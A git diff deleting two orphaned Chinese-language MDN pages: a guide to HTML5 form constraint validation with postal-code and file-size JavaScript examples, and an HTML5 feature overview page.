a/files/zh-cn/orphaned/web/guide/html/html5/constraint_validation/index.html +++ /dev/null @@ -1,340 +0,0 @@ ---- -title: 约束验证 -slug: orphaned/Web/Guide/HTML/HTML5/Constraint_validation -translation_of: Web/Guide/HTML/HTML5/Constraint_validation -original_slug: Web/Guide/HTML/HTML5/Constraint_validation ---- -<p>创建web表单始终是一个复杂的任务. 仅仅组装表单是容易的,但是检查每一个字段的值是否有效并且一致是一件更加困难的事情,而向用户指明错误可能会令人头痛。<a href="/en-US/docs/Web/Guide/HTML/HTML5" title="en/HTML/HTML5">HTML5</a> 引入了表单相关的一些新的机制:为{{ HTMLElement("input") }}元素和强制校验增加了一些新的语义类型,使得在客户端检查表单内容的工作变得容易。基本上,在填写字段时,通常这些约束都会被检查,而不需要额外的JavaScript代码进行校验; 对于更复杂的约束条件的校验可以尝试使用 HTML5 <a href="/en-US/docs/Web/Guide/HTML/Forms_in_HTML#Constraint_Validation_API" title="en/HTML/HTML5/Forms in HTML5#Constraint Validation API">Constraint Validation API</a>.</p> - -<div class="note"><strong>Note:</strong> HTML5 Constraint validation doesn't remove the need for validation on the <em>server side</em>. Even though far fewer invalid form requests are to be expected, invalid ones can still be sent by non-compliant browsers (for instance, browsers without HTML5 and without JavaScript) or by bad guys trying to trick your web application. Therefore, like with HTML4, you need to also validate input constraints on the server side, in a way that is consistent with what is done on the client side.</div> - -<h2 id="固有和基本的约束">固有和基本的约束</h2> - -<p>在 HTML5中,声明基本的约束有两种方式:</p> - -<ul> - <li>给 {{ HTMLElement("input") }} 元素的 {{ htmlattrxref("type", "input") }} 特性选择最合适的语义化的值,比如,选择 email 类型将会自动创建一个约束用于检查输入的值是否是一个有效的 e-mail 地址。</li> - <li>设置验证相关的特性值,允许用一种简单的方式来描述基本的约束,而不必要使用 JavaScript。</li> -</ul> - -<h3 id="语义的_input_类型">语义的 input 类型</h3> - -<p> {{ htmlattrxref("type", "input") }} 特性中固有约束:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Input 类型</th> - <th scope="col">约束描述</th> - <th scope="col">Associated violation</th> - </tr> - </thead> - <tbody> - <tr> - <td><span style="font-family: courier new;"><input type="URL"></span></td> - <td>值必须是绝对的URL, 即,是下面的某一种: - <ul> - <li>a valid URI (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3986.txt" title="http://www.ietf.org/rfc/rfc3986.txt">RFC 3986</a>)</li> - <li>a valid IRI, without a query component (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> - <li>a valid IRI, with a query component without any unescaped non-ASCII character (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> - <li>a valid IRI, and the character set for the document is UTF-8 or UTF-16 (as defined in <a class="external" href="http://www.ietf.org/rfc/rfc3987.txt" title="http://www.ietf.org/rfc/rfc3987.txt">RFC 3987</a>)</li> - </ul> - </td> - <td><strong>Type mismatch </strong>constraint violation</td> - </tr> - <tr> - <td> <span style="font-family: courier new;"><input type="email"></span></td> - <td>The value must follow the <a class="external" href="http://www.ietf.org/rfc/std/std68.txt" title="http://www.ietf.org/rfc/std/std68.txt">ABNF</a> production: <code>1*( atext / "." ) "@" ldh-str 1*( "." ldh-str )</code> where: - <ul> - <li><code>atext</code> is defined in <a class="external" href="http://tools.ietf.org/html/rfc5322" title="http://tools.ietf.org/html/rfc5322">RFC 5322</a>, i.e., a US-ASCII letter (<span style="font-family: courier new;">A</span> to <span style="font-family: courier new;">Z</span> and <span style="font-family: courier new;">a</span>-<span style="font-family: courier new;">z</span>), a digit (<span style="font-family: courier new;">0</span> to <span style="font-family: courier new;">9</span>) or one of the following<span style="font-family: courier new;">! # $ % & ' * + - / = ? ` { } | ~ </span>special character,</li> - <li><code>ldh-str</code> is defined in <a class="external" href="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5" title="http://www.apps.ietf.org/rfc/rfc1034.html#sec-3.5">RFC 1034</a>, i.e., US-ASCII letters, mixed with digits and <span style="font-family: courier new;">-</span> grouped in words separated by a dot (<span style="font-family: courier new;">.</span>).</li> - </ul> - - <div class="note"><strong>Note:</strong> if the {{ htmlattrxref("multiple", "input") }} attribute is set, several e-mail addresses can be set, as a comma-separated list, for this input. If any of these do not satisfy the condition described here, the <strong>Type mismatch </strong>constraint violation is triggered.</div> - </td> - <td><strong>Type mismatch </strong>constraint violation</td> - </tr> - </tbody> -</table> - -<p>Note that most input types don't have intrinsic constraints, as some are simply barred from constraint validation or have a sanitization algorithm transforming incorrect values to a correct default. </p> - -<h3 id="验证相关的特性(Attribute)">验证相关的特性(Attribute)</h3> - -<p>下列特性用于描述基本的约束:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">特性</th> - <th scope="col">支持该特性的 Input 类型</th> - <th scope="col">可接受的值</th> - <th scope="col">约束描述</th> - <th scope="col">Associated violation</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{ htmlattrxref("pattern", "input") }}</td> - <td>text, search, url, tel, email, password</td> - <td>A <a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions" title="https://developer.mozilla.org/en/JavaScript/Guide/Regular_Expressions">JavaScript regular expression</a> (compiled with the <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" title="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> <code title="">global</code>, <code title="">ignoreCase</code>, and <code title="">multiline</code> flags <em>disabled)</em></td> - <td>输入的值必须匹配设置的模式。</td> - <td><strong>Pattern mismatch</strong> constraint violation</td> - </tr> - <tr> - <td rowspan="3">{{ htmlattrxref("min", "input") }}</td> - <td>range, number</td> - <td>A valid number</td> - <td rowspan="3">输入的值必须大于等于设置的最小值。</td> - <td rowspan="3"><strong>Underflow</strong> constraint violation</td> - </tr> - <tr> - <td>date, month, week</td> - <td>A valid date</td> - </tr> - <tr> - <td>datetime, datetime-local, time</td> - <td>A valid date and time</td> - </tr> - <tr> - <td rowspan="3">{{ htmlattrxref("max", "input") }}</td> - <td>range, number</td> - <td>A valid number</td> - <td rowspan="3">输入的值必须小于等于设置的最大值。</td> - <td rowspan="3"><strong>Overflow</strong> constraint violation</td> - </tr> - <tr> - <td>date, month, week</td> - <td>A valid date</td> - </tr> - <tr> - <td>datetime, datetime-local, time</td> - <td>A valid date and time</td> - </tr> - <tr> - <td>{{ htmlattrxref("required", "input") }}</td> - <td>text, search, url, tel, email, password, date, datetime, datetime-local, month, week, time, number, checkbox, radio, file; also on the {{ HTMLElement("select") }} and {{ HTMLElement("textarea") }} elements</td> - <td><em>none</em> as it is a Boolean attribute: its presence means <em>true</em>, its absence means <em>false</em></td> - <td>There must be a value (if set).</td> - <td><strong>Missing</strong> constraint violation</td> - </tr> - <tr> - <td rowspan="5">{{ htmlattrxref("step", "input") }}</td> - <td>date</td> - <td>An integer number of days</td> - <td rowspan="5">Unless the step is set to the <span style="font-family: courier new;">any</span> literal, the value must be <strong>min</strong> + an integral multiple of the step.</td> - <td rowspan="5"><strong>Step mismatch </strong>constraint violation</td> - </tr> - <tr> - <td>month</td> - <td>An integer number of months</td> - </tr> - <tr> - <td>week</td> - <td>An integer number of weeks</td> - </tr> - <tr> - <td>datetime, datetime-local, time</td> - <td>An integer number of seconds</td> - </tr> - <tr> - <td>range, number</td> - <td>An integer</td> - </tr> - <tr> - <td>{{ htmlattrxref("maxlength", "input") }}</td> - <td>text, search, url, tel, email, password; also on the {{ HTMLElement("textarea") }} element</td> - <td>An integer length</td> - <td>The number of characters (code points) must not exceed the value of the attribute.</td> - <td><strong>Too long</strong> constraint violation</td> - </tr> - </tbody> -</table> - -<h2 id="Constraint_validation_process"><span class="author-g-by4vjwmiwjiydpj7">Constraint validation process</span></h2> - -<p>Constraint validation is done through the Constraint Validation API either on a single form element or at the form level, on the {{ HTMLElement("form") }} element itself. The constraint validation is done in the following ways:</p> - -<ul> - <li>By a call to the checkValidity() method of a form-related <a href="/en-US/docs/DOM" title="en/DOM">DOM</a> interface (<code><a href="/en-US/docs/Web/API/HTMLInputElement" title="en/DOM/HTMLInputElement">HTMLInputElement</a></code>, <code><a href="/en-US/docs/Web/API/HTMLSelectElement" title="en/DOM/HTMLSelectElement">HTMLSelectElement</a></code>, <code><a href="/en-US/docs/Web/API/HTMLButtonElement" title="en/DOM/HTMLButtonElement">HTMLButtonElement</a></code> or <code><a href="/en-US/docs/Web/API/HTMLTextAreaElement" title="en/DOM/HTMLTextAreaElement">HTMLTextAreaElement</a></code>), which evaluates the constraints only on this element, allowing a script to get this information. (This is typically done by the user-agent when determining which of the <a href="/en-US/docs/Web/CSS" title="en/CSS">CSS</a> pseudo-classes, {{ Cssxref(":valid") }} or {{ Cssxref(":invalid") }}, applies.)</li> - <li>By a call to the checkValidity() function on the <code><a href="/en-US/docs/Web/API/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a></code> interface, which is called <em>statically validating the constraints</em>.</li> - <li>By submitting the form itself, which is called <em>interactively validating the constraints</em>.</li> -</ul> - -<div class="note"><strong>Note: </strong> - -<ul> - <li>If the {{ htmlattrxref("novalidate", "form") }} attribute is set on the {{ HTMLElement("form") }} element, interactive validation of the constraints doesn't happen.</li> - <li>Calling the send() method on the <a href="/en/DOM/HTMLFormElement" title="en/DOM/HTMLFormElement">HTMLFormElement</a> interface doesn't trigger a constraint validation. In other words, this method sends the form data to the server even if doesn't satisfy the constraints.</li> -</ul> -</div> - -<h2 id="Complex_constraints_using_HTML5_Constraint_API"><span class="author-g-by4vjwmiwjiydpj7">Complex constraints using HTML5 Constraint API</span></h2> - -<p><span class="author-g-by4vjwmiwjiydpj7">Using JavaScript and the Constraint API, it is possible to implement more complex constraints, for example, constraints combining several fields, or constraints involving complex calculations.</span></p> - -<p><span class="author-g-by4vjwmiwjiydpj7">Basically, the idea is to trigger JavaScript on some form field event (like <strong>onchange</strong>) to calculate whether the constraint is violated, and then to use the method <code><em>field</em>.setCustomValidity()</code> to set the result of the validation: an empty string means the constraint is satisfied, and any other string means there is an error and this string is the error message to display to the user.</span></p> - -<h3 id="Constraint_combining_several_fields_Postal_code_validation">Constraint combining several fields: Postal code validation</h3> - -<p>The postal code format varies from one country to another. Not only do most countries allow an optional prefix with the country code (like <code>D-</code> in Germany, <code>F- </code> in France or Switzerland), but some countries have postal codes with only a fixed number of digits; others, like the UK, have more complex structures, allowing letters at some specific positions.</p> - -<div class="note"> -<p><strong>Note: </strong>This is not a comprehensive postal code validation library, but rather a demonstration of the key concepts. </p> -</div> - -<p><span style="line-height: 1.5;">As an example, we will add a script checking the constraint validation for this simple form:</span></p> - -<pre class="brush: html notranslate"><form> - <label for="ZIP">ZIP : </label> - <input type="text" id="ZIP"> - <label for="Country">Country : </label> - <select id="Country"> - <option value="ch">Switzerland</option> - <option value="fr">France</option> - <option value="de">Germany</option> - <option value="nl">The Netherlands</option> - </select> - <input type="submit" value="Validate"> -</form></pre> - -<p>This displays the following form: </p> - -<p><label>Postal Code: </label><input> <label>Country: </label><select><option value="ch">Switzerland</option><option value="fr">France</option><option value="de">Germany</option><option value="nl">The Netherlands</option></select></p> - -<p>First, we write a function checking the constraint itself:</p> - -<pre class="brush: js notranslate">function checkZIP() { - // For each country, defines the pattern that the ZIP has to follow - var constraints = { - ch : [ '^(CH-)?\\d{4}$', "Switzerland ZIPs must have exactly 4 digits: e.g. CH-1950 or 1950" ], - fr : [ '^(F-)?\\d{5}$' , "France ZIPs must have exactly 5 digits: e.g. F-75012 or 75012" ], - de : [ '^(D-)?\\d{5}$' , "Germany ZIPs must have exactly 5 digits: e.g. D-12345 or 12345" ], - nl : [ '^(NL-)?\\d{4}\\s*([A-RT-Z][A-Z]|S[BCE-RT-Z])$', - "Nederland ZIPs must have exactly 4 digits, followed by 2 letters except SA, SD and SS" ] - }; - - // Read the country id - var country = document.getElementById("Country").value; - - // Get the NPA field - var ZIPField = document.getElementById("ZIP"); - - // Build the constraint checker - var constraint = new RegExp(constraints[country][0], ""); - console.log(constraint); - - - // Check it! - if (constraint.test(ZIPField.value)) { - // The ZIP follows the constraint, we use the ConstraintAPI to tell it - ZIPField.setCustomValidity(""); - } - else { - // The ZIP doesn't follow the constraint, we use the ConstraintAPI to - // give a message about the format required for this country - ZIPField.setCustomValidity(constraints[country][1]); - } -} -</pre> - -<p>Then we link it to the <strong>onchange</strong> event for the {{ HTMLElement("select") }} and the <strong>oninput</strong> event for the {{ HTMLElement("input") }}:</p> - -<pre class="brush: js notranslate">window.onload = function () { - document.getElementById("Country").onchange = checkZIP; - document.getElementById("ZIP").oninput = checkZIP; -}</pre> - -<p>You can see a <a href="/@api/deki/files/4744/=constraint.html" title="https://developer.mozilla.org/@api/deki/files/4744/=constraint.html">live example</a> of the postal code validation. </p> - -<h3 id="Limiting_the_size_of_a_file_before_its_upload">Limiting the size of a file before its upload</h3> - -<p>Another common constraint is to limit the size of a file to be uploaded. Checking this on the client side before the file is transmitted to the server requires combining the Constraint API, and especially the field.setCustomValidity() method, with another JavaScript API, here the HTML5 File API.</p> - -<p>Here is the HTML part:</p> - -<pre class="brush: html notranslate"><label for="FS">Select a file smaller than 75 kB : </label> -<input type="file" id="FS"></pre> - -<p>This displays:</p> - -<p><label>Select a file smaller than 75 kB : </label> <input></p> - - - -<p>The JavaScript reads the file selected, uses the File.size() method to get its size, compares it to the (hard coded) limit, and calls the Constraint API to inform the browser if there is a violation:</p> - -<pre class="brush: js notranslate">function checkFileSize() { - var FS = document.getElementById("FS"); - var files = FS.files; - - // If there is (at least) one file selected - if (files.length > 0) { - if (files[0].size > 75 * 1024) { // Check the constraint - FS.setCustomValidity("The selected file must not be larger than 75 kB"); - return; - } - } - // No custom constraint violation - FS.setCustomValidity(""); -}</pre> - - - -<p>Finally we hook the method with the correct event:</p> - -<pre class="brush: js notranslate">window.onload = function () { - document.getElementById("FS").onchange = checkFileSize; -}</pre> - -<p>You can see a <a href="/@api/deki/files/4745/=fileconstraint.html" title="https://developer.mozilla.org/@api/deki/files/4745/=fileconstraint.html">live example</a> of the File size constraint validation.</p> - -<h2 id="Visual_styling_of_constraint_validation"><span class="author-g-by4vjwmiwjiydpj7">Visual styling of constraint validation</span></h2> - -<p>Apart from setting constraints, web developers want to control what messages are displayed to the users and how they are styled.</p> - -<h3 id="Controlling_the_look_of_elements">Controlling the look of elements</h3> - -<p>The look of elements can be controlled via CSS pseudo-classes.</p> - -<h4 id="required_and_optional_CSS_pseudo-classes">:required and :optional CSS pseudo-classes</h4> - -<p>The <a href="/en-US/docs/Web/CSS/:required" title=":required"><code>:required</code></a> and <a href="/en-US/docs/Web/CSS/:optional" title=":optional"><code>:optional</code></a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classes</a> allow writing selectors that match form elements that have the {{ htmlattrxref("required") }} attribute, or that don't have it.</p> - -<h4 id="-moz-placeholder_CSS_pseudo-class">:-moz-placeholder CSS pseudo-class</h4> - -<p>See <a href="/en-US/docs/Web/CSS/:-moz-placeholder" title="/en-US/docs/Web/CSS/:-moz-placeholder">:-moz-placeholder</a>.</p> - -<h4 id="valid_invalid_CSS_pseudo-classes">:valid :invalid CSS pseudo-classes</h4> - -<p>The <a href="/en-US/docs/Web/CSS/:valid" title="/en-US/docs/Web/CSS/:valid">:valid</a> and <a href="/en-US/docs/Web/CSS/:invalid" title="/en-US/docs/Web/CSS/:invalid?redirectlocale=en-US&redirectslug=CSS%2F%3Ainvalid">:invalid</a> <a href="/en-US/docs/Web/CSS/Pseudo-classes" title="/en-US/docs/Web/CSS/Pseudo-classes?redirectlocale=en-US&redirectslug=CSS%2FPseudo-classes">pseudo-classes</a> are used to represent <input> elements whose content validates and fails to validate respectively according to the input's type setting. These classes allow the user to style valid or invalid form elements to make it easier to identify elements that are either formatted correctly or incorrectly.</p> - -<h4 id="Default_styles">Default styles</h4> - -<h3 id="Controlling_the_text_of_constraints_violation">Controlling the text of constraints violation</h3> - -<h4 id="The_x-moz-errormessage_attribute">The x-moz-errormessage attribute</h4> - -<p>The x-moz-errormessage attribute is a Mozilla extension that allows you to specify the error message to display when a field does not successfully validate.</p> - -<div class="note"> -<p style="margin-left: 40px;">Note: This extension is non-standard.</p> -</div> - -<h4 id="Constraint_APIs_element.setCustomValidity">Constraint API's element.setCustomValidity()</h4> - -<p>The element.setCustomValidity(error) method is used to set a custom error message to be displayed when a form is submitted. The method works by taking a string parameter error. If error is a non-empty string, the method assumes validation was unsuccessful and displays error as an error message. If error is an empty string, the element is considered validated and resets the error message.</p> - -<h4 id="Constraint_APIs_ValidityState_object"><span class="author-g-by4vjwmiwjiydpj7">Constraint API's ValidityState object</span></h4> - -<p>The DOM <a href="/en-US/docs/Web/API/ValidityState" title="/en-US/docs/Web/API/ValidityState"><code>ValidityState</code></a> interface represents the <em>validity states</em> that an element can be in, with respect to constraint validation. Together, they help explain why an element's value fails to validate, if it's not valid.</p> - -<h3 id="Examples_of_personalized_styling"><span class="author-g-by4vjwmiwjiydpj7">Examples of personalized styling</span></h3> - -<h3 id="HTML4_fallback"><span class="author-g-by4vjwmiwjiydpj7">HTML4 fallback</span></h3> - -<h4 id="Trivial_fallback"><span class="author-g-by4vjwmiwjiydpj7">Trivial fallback</span></h4> - -<h4 id="JS_fallback"><span class="author-g-by4vjwmiwjiydpj7">JS fallback</span></h4> - -<h2 id="Conclusion"><span class="author-g-by4vjwmiwjiydpj7">Conclusion</span></h2> diff --git a/files/zh-cn/orphaned/web/guide/html/html5/index.html b/files/zh-cn/orphaned/web/guide/html/html5/index.html deleted file mode 100644 index fffbfb5204..0000000000 --- a/files/zh-cn/orphaned/web/guide/html/html5/index.html +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: HTML5 -slug: orphaned/Web/Guide/HTML/HTML5 -tags: - - HTML - - HTML5 - - JavaScript - - PHP - - Web - - Web 开发 - - angularjs - - nodejs - - vuejs - - 帮助 - - 指南 - - 综述 -translation_of: Web/Guide/HTML/HTML5 -original_slug: Web/Guide/HTML/HTML5 ---- -<p><span><strong>HTML5</strong> 是</span>定义<span> <a href="/zh-CN/docs/HTML" title="HTML">HTML</a> 标准的最新的版本。 </span>该术语通过两个不同的概念来表现:</p> - -<ul> - <li>它是一个新版本的<strong>HTML</strong>语言,具有新的元素,属性和行为,</li> - <li>它有更大的<strong>技术</strong>集,允许构建更多样化和更强大的网站和应用程序。这个集合有时称为HTML5和它的朋友们,不过大多数时候仅缩写为一个词 <strong><em>HTML5</em></strong>。</li> -</ul> - -<p>设计为所有Open Web开发人员都可以使用,此引用页面链接到许多关于HTML5技术的资源,根据其功能分为几个组。</p> - -<ul> - <li><strong>语义</strong>:能够让你更恰当地描述你的内容是什么。</li> - <li><strong>连通性</strong>:能够让你和服务器之间通过创新的新技术方法进行通信。</li> - <li><strong>离线 & 存储</strong>:能够让网页在客户端本地存储数据以及更高效地离线运行。</li> - <li><strong>多媒体</strong>:使 video 和 audio 成为了在所有 Web 中的一等公民。</li> - <li><strong>2D/3D 绘图 & 效果</strong>:提供了一个更加分化范围的呈现选择。</li> - <li><strong>性能 & 集成</strong>:提供了非常显著的性能优化和更有效的计算机硬件使用。</li> - <li><strong>设备访问 Device Access</strong>:能够处理各种输入和输出设备。</li> - <li><strong>样式设计</strong>: 让作者们来创作更加复杂的主题吧!</li> -</ul> - -<div class="cleared row topicpage-table"> -<div class="section"> -<h2 id="语义" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">语义</h2> - -<dl> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document" title="HTML5 文档的节段和外形概要">HTML5 中的区块和段落元素</a></dt> - <dd>HTML5 中新的区块和段落元素一览: {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} 和 {{HTMLElement("hgroup")}}.</dd> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/Using_HTML5_audio_and_video" title="使用 HTML5 的音频和视频">使用 HTML5 的音频和视频</a></dt> - <dd>{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入和允许操作新的多媒体内容。</dd> - <dt><a href="/zh-CN/docs/Learn/HTML/Forms">表单的改进</a></dt> - <dd>看一下 HTML5 中对 web 表单的改进:<a href="/zh-CN/docs/Learn/HTML/Forms/Form_validation">强制校验API</a>,一些新的属性,一些新的{{HTMLElement("input")}} 元素{{htmlattrxref("type", "input")}} 属性值 ,新的 {{HTMLElement("output")}} 元素。</dd> - <dt>新的语义元素</dt> - <dd>除了节段,媒体和表单元素之外,还有众多的新元素,例如 {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, 或者 {{HTMLElement("meter")}}和{{HTMLElement("main")}},这增加了<a href="/zh-CN/docs/Web/Guide/HTML/HTML5/HTML5_element_list" title="HTML/HTML5/HTML5_element_list">有效的 HTML5 元素</a>的数量。</dd> - <dt>{{HTMLElement("iframe")}} 的改进</dt> - <dd>使用 {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, 和 {{htmlattrxref("srcdoc", "iframe")}} 属性,作者们现在可以精确控制 {{HTMLElement("iframe")}} 元素的安全级别以及期望的渲染。</dd> - <dt><a href="/zh-CN/docs/MathML" title="MathML">MathML</a></dt> - <dd>允许直接嵌入数学公式。</dd> - <dt><a href="/zh-CN/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5" title="HTML/HTML5/Introduction_to_HTML5">HTML5 入门</a></dt> - <dd>本文介绍了如何标示在网页设计或 Web 应用程序中使用 HTML5 时碰到的问题。</dd> - <dt><a href="/zh-CN/docs/HTML/HTML5/HTML5_Parser" title="HTML/HTML5/HTML5 parser">HTML5 兼容的解析器</a></dt> - <dd>用于把 HTML5 文档的字节转换成 DOM 的解释器,已经被扩展了,并且现在精确地定义了在所有情况下使用的行为,甚至当碰到无效的 HTML 这种情况。这就导致了 HTML5 兼容的浏览器之间极大的可预测性和互操作性。</dd> -</dl> - -<h2 id="通信" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">通信</h2> - -<dl> - <dt><a href="/zh-CN/docs/WebSockets" title="WebSockets">Web Sockets</a></dt> - <dd>允许在页面和服务器之间建立持久连接并通过这种方法来交换非 HTML 数据。</dd> - <dt><a href="/zh-CN/docs/Server-sent_events/Using_server-sent_events" title="Server-sent_events/Using_server-sent_events">Server-sent events</a></dt> - <dd>允许服务器向客户端推送事件,而不是仅在响应客户端请求时服务器才能发送数据的传统范式。</dd> - <dt><a href="/zh-CN/docs/WebRTC" title="WebRTC">WebRTC</a></dt> - <dd>这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,直接在浏览器中控制视频会议,而不需要一个插件或是外部的应用程序。</dd> -</dl> - -<h2 id="离线_存储" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">离线 & 存储</h2> - -<dl> - <dt><a href="/zh-CN/docs/HTML/Using_the_application_cache" title="Offline_resources_in_Firefox">离线资源:应用程序缓存</a></dt> - <dd>火狐全面支持 HTML5 离线资源规范。其他大多数针对离线资源仅提供了某种程度上的支持。</dd> - <dt><a href="/zh-CN/docs/Online_and_offline_events" title="Online_and_offline_events">在线和离线事件</a></dt> - <dd>Firefox 3 支持 WHATWG 在线和离线事件,这可以让应用程序和扩展检测是否存在可用的网络连接,以及在连接建立和断开时能感知到。</dd> - <dt><a href="/zh-CN/docs/Web/Guide/API/DOM/Storage/Storage" title="DOM/Storage">WHATWG 客户端会话和持久化存储 (又名 DOM 存储)</a></dt> - <dd>客户端会话和持久化存储让 web 应用程序能够在客户端存储结构化数据。</dd> - <dt><a href="/zh-CN/docs/IndexedDB" title="IndexedDB">IndexedDB</a></dt> - <dd>是一个为了能够在浏览器中存储大量结构化数据,并且能够在这些数据上使用索引进行高性能检索的 Web 标准。</dd> - <dt><a href="/zh-CN/docs/Using_files_from_web_applications" title="Using_files_from_web_applications">自 web 应用程序中使用文件</a></dt> - <dd>对新的 HTML5 文件 API 的支持已经被添加到 Gecko 中,从而使 Web 应用程序可以访问由用户选择的本地文件。这包括使用 <a href="/zh-CN/docs/HTML/Element/Input#attr-type" title="HTML/Element/input#attr-type"><strong>type</strong></a> <span style="font-family: courier new;">file</span> 的 <span style="font-family: monospace;">{{HTMLElement("input")}}</span> 元素的新的 <a href="/zh-CN/docs/HTML/Element/Input#attr-multiple" title="HTML/Element/input#attr-multiple"><strong>multiple</strong></a> 属性针对多文件选择的支持。 还有 <a href="/zh-CN/docs/DOM/FileReader" title="DOM/FileReader"><code>FileReader</code></a>。</dd> -</dl> - -<h2 id="多媒体" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">多媒体</h2> - -<dl> - <dt><a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content" title="Using_audio_and_video_in_Firefox">使用 HTML5 音视频</a></dt> - <dd>{{HTMLElement("audio")}} 和 {{HTMLElement("video")}} 元素嵌入并支持新的多媒体内容的操作。</dd> - <dt><a href="/zh-CN/docs/WebRTC" title="WebRTC">WebRTC</a></dt> - <dd>这项技术,其中的 RTC 代表的是即时通信,允许连接到其他人,在浏览器中直接控制视频会议,而不需要一个插件或是外部的应用程序。</dd> - <dt><a href="/zh-CN/docs/DOM/Using_the_Camera_API" title="DOM/Using_the_Camera_API">使用 Camera API</a></dt> - <dd>允许使用,操作计算机摄像头,并从中存储图像。</dd> - <dt>Track 和 WebVTT</dt> - <dd> {{HTMLElement("track")}} 元素支持字幕和章节。<a href="/zh-CN/docs/HTML/WebVTT" title="HTML/WebVTT">WebVTT</a> 一个文本轨道格式。</dd> -</dl> - -<h2 id="3D_图像_效果" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3D, 图像 & 效果</h2> - -<dl> - <dt><a href="/zh-CN/docs/Canvas_tutorial" title="Canvas tutorial">Canvas 教程</a></dt> - <dd>了解有关新的 <code>{{HTMLElement("canvas")}}</code> 元素以及如何在火狐中绘制图像和其他对象。</dd> - <dt><a href="/zh-CN/docs/Drawing_text_using_a_canvas" title="Drawing_text_using_a_canvas">HTML5 针对 <code><canvas></code> 元素的文本 API</a></dt> - <dd>HTML5 文本 API 现在由 {{HTMLElement("canvas")}} 元素支持。</dd> - <dt><a href="/zh-CN/docs/WebGL" title="WebGL">WebGL</a></dt> - <dd>WebGL 通过引入了一套非常地符合 OpenGL ES 2.0 并且可以用在 HTML5 {{HTMLElement("canvas")}} 元素中的 API 给 Web 带来了 3D 图像功能。</dd> - <dt><a href="/zh-CN/docs/SVG" title="SVG">SVG</a></dt> - <dd>一个基于 XML 的可以直接嵌入到 HTML 中的矢量图像格式。</dd> - <dt> </dt> -</dl> -</div> - -<div class="section"> -<h2 id="性能_集成" style="margin: 0 0 .25em; font: 200 24px/1 'Bebas Neue','League Gothic',Haettenschweiler,'Arial Narrow',sans-serif; letter-spacing: 1px; text-transform: uppercase; border: none;"><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">性能 & 集成</h2> - -<dl> - <dt><a href="/zh-CN/docs/DOM/Using_web_workers" title="Using web workers">Web Workers</a></dt> - <dd>能够把 JavaScript 计算委托给后台线程,通过允许这些活动以防止使交互型事件变得缓慢。</dd> - <dt><code><a href="/zh-CN/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code> Level 2</dt> - <dd>允许异步读取页面的某些部分,允许其显示动态内容,根据时间和用户行为而有所不同。这是在 <a href="/zh-CN/docs/AJAX" title="AJAX">Ajax</a>背后的技术。</dd> - <dt>即时编译的 JavaScript 引擎</dt> - <dd>新一代的 JavaScript 引擎功能更强大,性能更杰出。</dd> - <dt><a href="https://developer.mozilla.org/zh-CN/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating_the_browser_history">History API</a></dt> - <dd>允许对浏览器历史记录进行操作。这对于那些交互地加载新信息的页面尤其有用。</dd> - <dt><a href="/zh-CN/docs/HTML/Content_Editable" title="HTML/Content Editable">contentEditable 属性:把你的网站改变成 wiki !</a></dt> - <dd>HTML5 已经把 contentEditable 属性标准化了。了解更多关于这个特性的内容。</dd> - <dt><a 